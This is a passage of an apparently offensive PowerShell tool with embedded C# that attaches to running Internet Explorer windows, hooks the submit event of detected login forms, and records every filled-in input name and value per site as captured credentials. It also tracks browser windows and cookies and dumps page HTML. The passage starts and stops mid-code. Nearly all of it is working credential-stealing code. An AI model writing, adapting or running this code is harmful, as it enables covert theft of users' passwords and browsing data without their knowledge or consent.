void FindAndHookLoginForm()
{
try
{
var doc = (mshtml.HTMLDocument)_ie.Document;
var elems = doc.getElementsByTagName("form");
foreach (mshtml.HTMLFormElement logForm in elems)
{
if (LoginFormDetector.CheckPossibleLoginInput(logForm))
{
var elem = logForm as mshtml.IHTMLElement2;
HookForm(elem);
}
}
}
catch
{
}
}
public static Dictionary<String, List<String>> GetCreds()
{
return _credsFound;
}
public static void Detach(String id)
{
if( _mapIdToFormHooker.ContainsKey(id))
_mapIdToFormHooker[id].Detach();
}
void Detach()
{
if (null != formHook)
formHook.Detach();
}
bool HookForm(mshtml.IHTMLElement2 logForm)
{
var g = Guid.NewGuid();
if(!hooked)
{
lock(this)
{
if(hooked)
return false;
formHook = HtmlEventProxy.Create("onsubmit", logForm, g.ToString(), (o) => {
var prox = o as HtmlEventProxy;
if (null != prox)
{
var targetForm = prox.HTMLElement as mshtml.IHTMLElement;
if (null != targetForm)
{
var formDoc = targetForm.document as mshtml.HTMLDocument;
if (null != formDoc)
{
var host = new Uri(formDoc.url).Host;
if (!_credsFound.ContainsKey(host))
_credsFound.Add(host, new List<String>());
bool bFound = false;
foreach (mshtml.IHTMLElement input in formDoc.getElementsByTagName("input"))
{
try {
var value = input.getAttribute("value");
if (!String.IsNullOrWhiteSpace(value.ToString().Trim()))
{
var cred = input.getAttribute("name") + " : " + value;
if (!_credsFound[host].Contains(cred))
{
_credsFound[host].Add(cred);
if (!bFound)
Console.WriteLine(String.Format("[+] Creds have arrived in from {0}", host));
bFound = true;
}
}
}
catch
{
}
}
}
}
}
});
}
return true;
}
return false;
}
}
"@
Add-Type -TypeDefinition $source -Language CSharp -IgnoreWarnings -ReferencedAssemblies Microsoft.CSharp,Microsoft.mshtml
}
function BuildTrackingCollections
{
# Used by Hook Login Forms to track what windows are open
if (!$loginFormHookerArr)
{
$loginFormHookerArr = new-object -TypeName "System.Collections.Generic.Dictionary[IntPtr, LoginFormHooker]"
Set-Variable -Name "gLoginFormHooker" -Value $loginFormHookerArr -Scope global -Description "Tracks all the loginformhooker objects"
}
if (!$gKnownHwnds)
{
$hwnds = New-Object "System.Collections.Generic.List[IntPtr]"
Set-Variable -Name "gKnownHwnds" -Value $hwnds -Scope global -Description "Tracks all the WebBrowser Document HWNDs"
}
if(!$gMapHwndsToCookie)
{
$mapHwndsToCookie = New-Object "System.Collections.Generic.Dictionary[System.Int32, System.IntPtr]"
Set-Variable -Name "gMapHwndsToCookie" -Value $hwnds -Scope global -Description "Maps all the Document HWNDs to the cookies on register"
}
}
function RemoveHooks
{
if ($gShWindowsRegisteredAttached)
{
Unregister-Event -SourceIdentifier "ShWindowRegistered"| Out-Null
Write-Host "[+] Unregistered Event: ShWindowRegistered"
Unregister-Event -SourceIdentifier "ShWindowRevoked"| Out-Null
Write-Host "[+] Unregistered Event: ShWindowRevoked"
$gShWindowsRegisteredAttached = $false
}
}
function DumpHtml
{
$ieInstances = getFilteredIEInstances -ShellWindows $ShellWindows
#[ValidateSet('id','name','tagname')]
#[String]$SelectorType,
#[Parameter(Mandatory = $False, HelpMessage="DOM Object selector to locate, specify type in SelectorType [default is id]. Used by DumpHtml")]
#[String]$Selector,
if([String]::IsNullOrEmpty($Selector))
{
Write-Host "[!] Selector not set defaulting to the body"
$SelectorType = "id"
}
if([String]::IsNullOrEmpty($SelectorType))
{
Write-Host "[!] SelectorType not set defaulting to id"
$SelectorType = "id"
}
foreach($ie in $ieInstances)
{
switch($SelectorType)
{
"id"
{
if([String]::IsNullOrEmpty($Selector))
{
write-host $ie.Browser.document.body.innerHTML
} else
{
"[+] Looking for elements with ""id='$($Selector)'"" in $($ie.URL)" |out-string
$ielement = $ie.Browser.document.getElementById($Selector)
if ([bool](Get-Member -InputObject $ielement -MemberType Properties -Name "InnerHTML")){
write-host -ForegroundColor Green $ielement.outerHTML
} else {
write-host "[X] Element not found"
}
}
}
"name"
{
if([String]::IsNullOrEmpty($Selector))
{